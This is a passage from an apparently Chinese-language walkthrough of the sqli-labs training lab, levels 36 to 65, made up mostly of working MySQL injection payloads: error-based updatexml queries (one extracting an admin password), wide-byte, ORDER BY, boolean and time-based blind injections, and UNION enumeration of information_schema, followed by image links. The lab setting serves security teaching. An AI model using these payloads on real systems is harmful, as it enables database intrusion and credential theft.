?id=1%df' and (updatexml(1,concat(0x7e,(select password from users where username = 0x61646D696E limit 0,1),0x7e),1)) %23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 60]

## Less-36 ##

使用报错与宽字节注入，没有做任何的过滤：

uname=admin%df%27 and (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))%23&passwd=ad%df%27&submit=Submit

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 61]

# 6. order by 注入 #

## Less-46 ##

sort=(updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1))

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 62]

## Less-47 ##

单引号闭合，使用报错注入即可  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 63]

## Less-48 ##

基于布尔的盲注，paylaod如下：

?sort=rand(ascii(mid((select%20database()),1,1))=115)%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 64]

## Less-49 ##

基于时间的盲注，字符型，需要用单引号闭合，payload如下：

?sort=1' and if((ascii(mid((select%20database()),1,1))=115),sleep(1),1)%23

可以看到延迟了很多  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 65]

## Less-50 ##

数字型，不需要单引号闭合，其余同49题，payload如下：

?sort=1%20and%20if((ascii(mid((select%20database()),1,1))=115),sleep(1),1)%23

## Less-51 ##

字符型，报错注入即可，payload如下：

?sort=0%27%20and%20(updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1))%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 66]

## Less-52 ##

基于布尔的盲注，payload如下：

?sort=rand(ascii(mid((select%20database()),1,1))=115)%23

## Less-53 ##

字符型需要是用单引号闭合，基于时间的盲注，payload如下：

?sort=1%27%20and%20if((ascii(mid((select%20database()),1,1))=115),sleep(1),1)%23

# 7. 其他 #

## Less-54 ##

如果执行了10次以上sql查询，那么数据库中的数据将会出现变化，因此我们执行的查询命令次数要在10次以内，字符型注入，单引号闭合。  
1.利用order by确定当前sql语句所查询的字段数为3

?id=1%27 order by 3 %23

2.确定回显的位置

?id=1%27 and false UNION SELECT 1,2,3 %23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 67]

3.查表，确定表名为`2WZN1LT7MP`，且只有一个表：

?id=1%27 and false UNION SELECT 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema='challenges'),1%23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 68]

4.查字段，发现有个字段名为`secret_H27J`，我们猜测其为我们需要寻找的secret\_key：

?id=1%27 and false UNION SELECT 1,(select group_concat(column_name) from information_schema.columns where table_name='2WZN1LT7MP' limit 0,1),database() %23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 69]  
5.查询value

?id=1%27 and false UNION SELECT 1,(select secret_H27J from 2WZN1LT7MP),database() %23

得到value为`6JjgKhDpUm24Y3gImUvTsgnQ`

6.提交value  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 70]

## Less-55 ##

同54，只是闭合方式改为小括号闭合，示例如下：

?id=1) and false UNION SELECT 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema='challenges'),1%23

## Less-56 ##

同55，闭合方式改为单引号加括号，示例如下：

?id=1') and false UNION SELECT 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema='challenges'),1%23

## Less-57 ##

同56，闭合方式改为单引号加两个括号。

?id=1')) and false UNION SELECT 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema='challenges'),1%23

## Less-58 ##

只能查五次，单引号闭合查询即可：

?id=1' %23

## Less-59 ##

同58，数字型，payload如下：

?id=1 %23

## Less-60 ##

使用报错注入  
\#查数据库

?id=2") and (updatexml(1,concat(0x7e,(SELECT  concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 1,1),0x7e),1)) %23

\#查表

?id=2") and (updatexml(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)) %23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 71]

\#查列

?id=2") and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='IXL595AEUS' limit 0,1),0x7e),1)) %23

\#查数据

?id=2") and (updatexml(1,concat(0x7e,(select secret_FZIO from LVOXTWEXAN),0x7e),1)) %23

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 72]

## Less-61 ##

同60，闭合方式改为单引号加两个括号，其余都一样：

?id=2')) and (updatexml(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)) %23

## Less-62 ##

盲注，闭合方式如下：

?id=1 %23

## Less-63 ##

盲注，闭合方式如下：

?id=2' %23

## Less-64 ##

盲注，闭合方式如下：

?id=1))%23

## Less-65 ##

盲注，闭合方式如下：

?id=1")  and. 1= 1%23

# 参考文章 #

[SQL注入靶场sqli-labs 1-65关全部通关教程][SQL_sqli-labs 1-65]  
[web安全学习-sql注入-针对mysql的攻击][web_-sql_-_mysql]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]: /images/20221023/401f1cff6af34b8e9801b571261c7b78.png
[20210324162710997.png]: /images/20221023/c25a80d446b14c0f9974868d221f9854.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]: /images/20221023/da07e438fdbe43c9ae482289d9572885.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]: /images/20221023/c0bb0928c0174c5b9a886c89f99506c0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 3]: /images/20221023/500bb2a55d4b453bbffda88aba7b7e8d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 4]: /images/20221023/8c16ba54bc074e5ebd56cc44f4ad24e8.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 5]: /images/20221023/1beec52e76e74ccbaebe73ebcf7a6ccf.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 6]: /images/20221023/ea8213e7a5c84d9188090e5b1e878132.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 7]: /images/20221023/782f2ac597b3460fab16bd42d2c8026d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 8]: /images/20221023/f67a9845a0b448c3942f2b8cc4c0c406.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 9]: /images/20221023/2bf3bb604eff4001b285001c757ae507.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 10]: /images/20221023/5d36b7cb7ee64bac9ba8b35f649f8b36.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 11]: /images/20221023/d4ee9bb06c624a738916844826771f46.png
[2021032615183673.png]: /images/20221023/f2cca7cea3a64c40adaf04881b62a71c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 12]: /images/20221023/1c2ec477d3bd477b86ae87015ade4e89.png
[20210326165340681.png]: /images/20221023/b58d6c05e1ba42fe85f5b3a9ac7cecea.png
[20210326165321942.png]: /images/20221023/fd9d20e3b9624bec87e65737c41552ce.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 13]: /images/20221023/6afb2ff5f76f4f4f9e2f1609d000ed57.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 14]: /images/20221023/eb99220a792e4319909d749ba8c61afc.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 15]: /images/20221023/dc906b025ae04024a5dd8ef0bd6f55ae.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 16]: /images/20221023/0ccc0001f7804be1bf922ca68865100f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 17]: /images/20221023/f128180f4bcb48f5ae5b4913de5ec57f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 18]: /images/20221023/99d4e066b8634e89b33664c968adf88d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 19]: /images/20221023/b0da9b946dfb48a59346a8b0a5e9ec26.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 20]: /images/20221023/748b50b4a0eb42f7827f1d7fcf7ad86c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 21]: /images/20221023/5c23062b71a545d1acdc8301792f3f3e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 22]: /images/20221023/48aab552f43b4385b57c4f30bfa3e619.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 23]: /images/20221023/8bdcf1f3f67646f88c1729c44497c750.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 24]: /images/20221023/b9d65729ec75443aaffcc0e91b2cb4ed.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 25]: /images/20221023/7c5c426a8bb24b35b672a9c35b1943a4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 26]: /images/20221023/43aef0ef91e84826a1bb6211f501a5d4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 27]: /images/20221023/29570a1e0aa544a5af9498c44c4ea577.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 28]: /images/20221023/969f335ad8a84b04a3ae15f39e9070d5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 29]: /images/20221023/99e13cac8ea6487eb7f110da028cad1a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 30]: /images/20221023/50f9be2ad9f346c3aca0117b7e5e38f7.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 31]: /images/20221023/78370846b6c44f57903be740ac0ea545.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 32]: /images/20221023/6180249ddf6346e58674bd994972f071.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 33]: /images/20221023/a823bad17ea24a1bae6b83c2fa0032d0.png
[20210330144238144.png]: /images/20221023/55fcaae173d741779ca28854b3ca9d30.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 34]: /images/20221023/8adea829fd454e588766e2735564fd95.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 35]: /images/20221023/4b196f55cea243bca5220db3a2613749.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 36]: /images/20221023/797da6848fe64ff2b7fec3d790dbecb9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 37]: /images/20221023/c0902545d13044e5aeb5a954faed7c37.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 38]: /images/20221023/2567d3ed4a4e4b0c83a03807234c8947.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 39]: /images/20221023/2ed709f4679f4c489987f6837dafd722.png
[20210330183059131.png]: /images/20221023/e78ba27356df485cb950c23536311d0b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 40]: /images/20221023/246d830f986a44b4a7af870331924865.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 41]: /images/20221023/cb6a7027a9344d77b4cb70965e777419.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 42]: /images/20221023/f8ab321c2046404ca3bc3274e69d931b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 43]: /images/20221023/ef04ddb5d4b247ba964148bcb781a351.png
[20210331151857823.png]: /images/20221023/0c9c97f1859d4018ada465ebacbf0dab.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 44]: /images/20221023/57b633297dff4f53b3095d3ff6a8ef18.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 45]: /images/20221023/bcf65272fd374a86aabbb9b8f99aabdf.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 46]: /images/20221023/45ee8ce6d44f4485902efc9c7b2f770c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 47]: /images/20221023/26fb1bad6cc142bb8ae38333d627bf60.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 48]: /images/20221023/bad9cba1c1be4c8b80fa1d82655bafad.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 49]: /images/20221023/028dcca09bb445d697c3ce4b5ecd920f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 50]: /images/20221023/def3530253524544ad8ff06389e095da.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 51]: /images/20221023/f6b5e368eb6b4c3aa859a4705eec2905.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 52]: /images/20221023/84a0a069b76b47c5a260609004e91ed1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 53]: /images/20221023/c200c00fb1af49469346dd1a734bcf19.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 54]: /images/20221023/7db3c26cfa3e43d8888328b8bc34e4e6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 55]: /images/20221023/2996bd7dfa764250acfd9d1c3d41a3ff.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 56]: /images/20221023/e559c78b3b774b27b913e01f20bf0435.png
[20210401190711866.png]: /images/20221023/4020570d6a884625ae97dccbd4f95853.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 57]: /images/20221023/3a5ff379d4fa40df862b252d652ca795.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 58]: /images/20221023/33c56fe393c84dd38a07f0fc5ccfb139.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 59]: /images/20221023/776cada365d943cea04db2d7667b5c1e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 60]: /images/20221023/9becd00d2a1e4d84bc8ced3212ed73b1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 61]: /images/20221023/f0ef1eb5903947aab9150312ed86bc91.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 62]: /images/20221023/37cd3c80033c4819896cf5d299ac37aa.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 63]: /images/20221023/ef4476f40b1e465ca9fd6bd26f0dcb45.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 64]: /images/20221023/5ff6fc00105e4870b7556a5781f521c3.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 65]: /images/20221023/a0e8966f55cd457a9f974048ccc109b0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 66]: /images/20221023/57b157df38104d18a6bb37aaebafd0a6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 67]: /images/20221023/ad110697a25a4a33b8fab8748846bd86.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 68]: /images/20221023/4d069f474321449f97c13f11c19ba243.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 69]: /images/20221023/e0948fb569a1450e81dd5afa36bb7e21.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 70]: /images/20221023/4fdff3d85324435ba709c5b7f72b85a6.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 71]: /images/20221023/484042df034142c3b5602b41abde7765.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 72]: /images/20221023/c1b44ce1df7145dd93bf4d89a6f0cb2e.png
[SQL_sqli-labs 1-65]: https://www.cnblogs.com/-qing-/p/11610385.html
[web_-sql_-_mysql]: https://blog.csdn.net/qq_41874930/article/details/113888204?spm=1001.2014.3001.5501